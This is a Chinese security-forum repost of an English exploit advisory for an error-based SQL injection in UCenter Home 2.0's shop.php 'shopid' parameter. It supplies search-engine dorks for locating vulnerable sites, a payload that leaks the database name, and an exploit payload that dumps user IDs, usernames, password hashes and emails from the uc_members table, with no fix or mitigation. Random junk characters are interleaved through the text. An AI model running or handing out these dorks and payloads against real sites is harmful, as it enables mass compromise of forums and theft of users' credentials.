找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2395|回复: 0
打印 上一主题 下一主题

UCenter Home 2.0 -(0day) Remote SQL Injection Vulnerability

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 21:31:31 | 只看该作者 回帖奖励 |正序浏览 |阅读模式

( X1 h2 f- o, X4 I7 r) o__--==UCenter Home 2.0 -(0day) Remote SQL Injection Vulnerability==--__  ; t& O  H+ O' g/ H) @; F" n4 y. W

+ G! e- {9 m3 d0 i                                 
( Y& w0 L  P( E6 @
" G. e8 z5 w" y0 @- r8 \*/ Author : KnocKout  
* M) @5 J: b: k, A5 D! O$ a* w3 F
/ k5 `  _4 |/ k  ^+ W+ y*/ Greatz : DaiMon,BARCOD3,RiskY and iranian hackers  
  n! j7 I  X! a( x
$ M6 J8 Y8 v2 Q) C' Q' Q*/ Contact: knockoutr@msn.com  , Q9 d* Q9 |" @" f& R/ r2 d# O  `. p
. v3 t, r# U- t6 y0 Y8 b
*/ Cyber-Warrior.org/CWKnocKout  " Q. s2 {* C! T3 {& x0 x0 k
0 Z/ K6 w5 y, P2 n- H
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==    t  B& k; D+ y7 m- K

5 k# \7 K& [- H7 c& YScript : UCenter Home  
0 N; I2 F+ K! l& K1 C: L, S. f  t0 ]7 X% ?3 t; a- B3 j
Version : 2.0  
( `7 l4 v' x; c% p0 w
8 O+ _; R  R6 \% j- A, b" k" `Script HomePage : http://u.discuz.net/  : v" p, g5 w' i7 _$ R, K

+ U2 I0 h$ v. L" H__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==  
& I- o, h+ ]: x. j( K/ h
- r' \' R/ a% ]/ eDork : Powered by UCenter inurl:shop.php?ac=view  
. [6 q% z. f4 `1 k5 x% c! ~3 G
1 C) a# |) B" kDork 2 : inurl:shop.php?ac=view&shopid=  
/ E$ O" y1 _1 ], Q. s5 b3 b) q
, p. E; g7 r/ ^1 N( o$ ?__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==  
* D$ Z* [/ T) g2 ^( T& r% S5 n5 k2 C2 @% X& B  }
Vuln file : Shop.php  " f+ @5 x9 w2 d
# r. Q' M4 [3 ^
value's : (?)ac=view&shopid=  
- N' d) ^! S) _' J4 [3 T- u. s2 A! f7 \# f; @' O9 P
Vulnerable Style : SQL Injection (MySQL Error Based)  3 H, a1 t% A9 \% g$ b
7 P& u) O% F2 j7 T' p' U! j5 h0 b, S
Need Metarials : Hex Conversion  
9 {7 }# ?1 d2 I8 v, Y$ y
5 t4 u4 m7 C! Q! x__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==  
. W/ X  [- u7 C+ W# A  @9 z9 ]8 M) Z9 s; o8 p( z* d
Your Need victim Database name.   
2 ~9 v7 L" P* d' M9 g. k* n( ~' V' I! i" h1 S' L' o. P
for Inject : http://server/shop.php?ac=view&shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1  
; t$ j' h' v, Q
8 j: D9 D* h' t..  ! V' H2 v5 H" E/ D& u! k

- ~# ^1 }, n! S( L4 [8 ]; W. IDB : Okey.  
% w. f/ v& |& K. Z: a+ A
! W) v* t7 v" q) j7 Q, Lyour edit DB `[TARGET DB NAME]`  
2 M( }8 r: f' s+ v
, Y& i: L$ O! `9 ?3 _* kExample : 'hiwir1_ucenter'  
( f1 M1 C5 F. D5 x- U
* U9 L. c* k5 V1 H- n7 T' h5 s; OEdit : Okey.  4 Y1 E: z/ o: w9 D1 S% E# l

0 H1 K& m/ e  S5 M  ~! B* gYour use Hex conversion. And edit Your SQL Injection Exploit..  
9 W% u# V3 s/ D: s6 s& H+ i' E- J: e
   
3 J, C2 M* X( w# J: x, X+ E* P; }& n( [
Exploit Code : http://server/shop.php?ac=view&shopid=253 253 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(concat(uc_members.uid,0x3a,uc_members.username,0x3a,uc_members.password,0x3a,uc_members.email) as char),0x27,0x7e) FROM `hiwir1_ucenter`.uc_members LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1  ; ]7 [, Q, s8 D- n, a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表